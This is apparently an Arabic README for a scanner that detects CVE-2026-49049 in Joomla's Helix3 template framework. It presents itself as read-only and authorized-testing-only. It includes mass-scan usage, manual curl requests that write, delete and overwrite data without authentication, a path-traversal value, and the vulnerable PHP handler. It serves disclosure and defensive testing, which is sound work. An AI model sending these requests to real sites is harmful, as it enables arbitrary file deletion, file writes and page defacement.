
ماسح ضوئي للثغرات الأمنية للقراءة فقط لـ CVE-2026-49049 — معالج AJAX غير مصادَق عليه لإضافة Helix3 في Joomla
CVE-2026-49049 تؤثر على إطار قالب Helix3 لجوملا (الإصدارات 1.0 حتى 3.1.0). معالج onAjaxHelix3، الذي يمكن الوصول إليه عبر موزّع com_ajax الخاص بجوملا، لا يجري أي تحقق من المصادقة أو التفويض أو CSRF على العديد من الإجراءات التدميرية:
ملاحظة: تمت إضافة إجراء
importفي Helix3 v3.x. المواقع التي تعمل بإصدار v2.x تتأثر فقط بإجراءيsaveوremove.
تم اكتشاف الثغرة بواسطة Phil Taylor (mySites.guru) ونُشرت في 29 يونيو 2026.
| إصدار Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | عرضة للخطر | غير موجود |
| 3.0 – 3.1.0 | عرضة للخطر | عرضة للخطر |
| 3.1.1+ | مصحّح | مصحّح |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Single target (domain or IP)
-f, --file File with targets, one per line
-o, --output Real-time text output (default: cve-2026-49049_scan.txt)
--json Structured JSON report (default: cve-2026-49049_report.json)
--threads Concurrent workers (default: 15)
--timeout HTTP timeout in seconds (default: 15)
-v, --verbose Show probe details
يقوم الماسح بفحص للقراءة فقط — يكتب ملف JSON غير ضار إلى مجلد تخطيطات Helix3 عبر نقطة نهاية save غير المصادَق عليها، ويتحقق من كتابته، ثم يحذفه فورًا عبر نقطة نهاية remove. لا تُترك أي تغييرات دائمة على الهدف.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
يقوم الماسح باختبار نقاط النهاية هذه بدقة. للتحقق اليدوي:
الخطوة 1 — تأكيد تثبيت Helix3
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
الخطوة 2 — اختبار إجراء save (كتابة ملف غير مصادَق عليها)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
الخطوة 3 — اختبار إجراء remove (حذف ملف غير مصادَق عليه)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
الخطوة 4 — اختبار إجراء import (v3.x فقط، غير متاح في v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
في إصدارات Helix3 قبل 3.1.1، يعالج plugins/ajax/helix3/helix3.php الطلبات عبر onAjaxHelix3() بدون أي حمايات:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil يكتب ملفات خارج دليل التخطيط المقصودsave (الذي يضيف .json)، يمكن لـ remove استهداف أي نوع ملفاتcustom_js بدون تهريب (unescaped) في مخرجات القالب، مما يتيح حقن سكربت في كل صفحة. هذا هو المتجه المستخدم في هجمات التشويه الواقعية.لأغراض التعليم والاختبار المصرح به فقط.
هذا البرنامج مخصص لمحترفي الأمن الذين يجرون اختبارات اختراق مصرحًا بها، والمؤسسات التي تدقق بنيتها التحتية الخاصة، والباحثين الذين يدرسون استغلال الثغرات.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وقد ينتهك:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. 1030)
- إندونيسيا: UU ITE Pasal 30 & 46
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب لعام 1990
لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام. باستخدامك لهذا البرنامج، فإنك تتحمل المسؤولية الكاملة عن أفعالك.
| المورد | الرابط |
|---|
هذا المشروع غير تابع لـ JoomShaper أو Joomla أو Open Source Matters, Inc.
| الإجراء | التأثير | متاح في |
|---|
save | كتابة ملفات JSON يتحكم فيها المهاجم مع اجتياز المسار (path traversal) | جميع الإصدارات |
remove | حذف ملفات عشوائية — بدون أي قيود على الامتداد أو المسار | جميع الإصدارات |
import | استبدال معلمات القالب المخزنة في قاعدة البيانات | v3.x فقط |
| الاستشارة الأصلية (mySites.guru) | الإصلاح الأمني Helix3 3.1.1 |
| إدخال NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | مستودع Helix3 |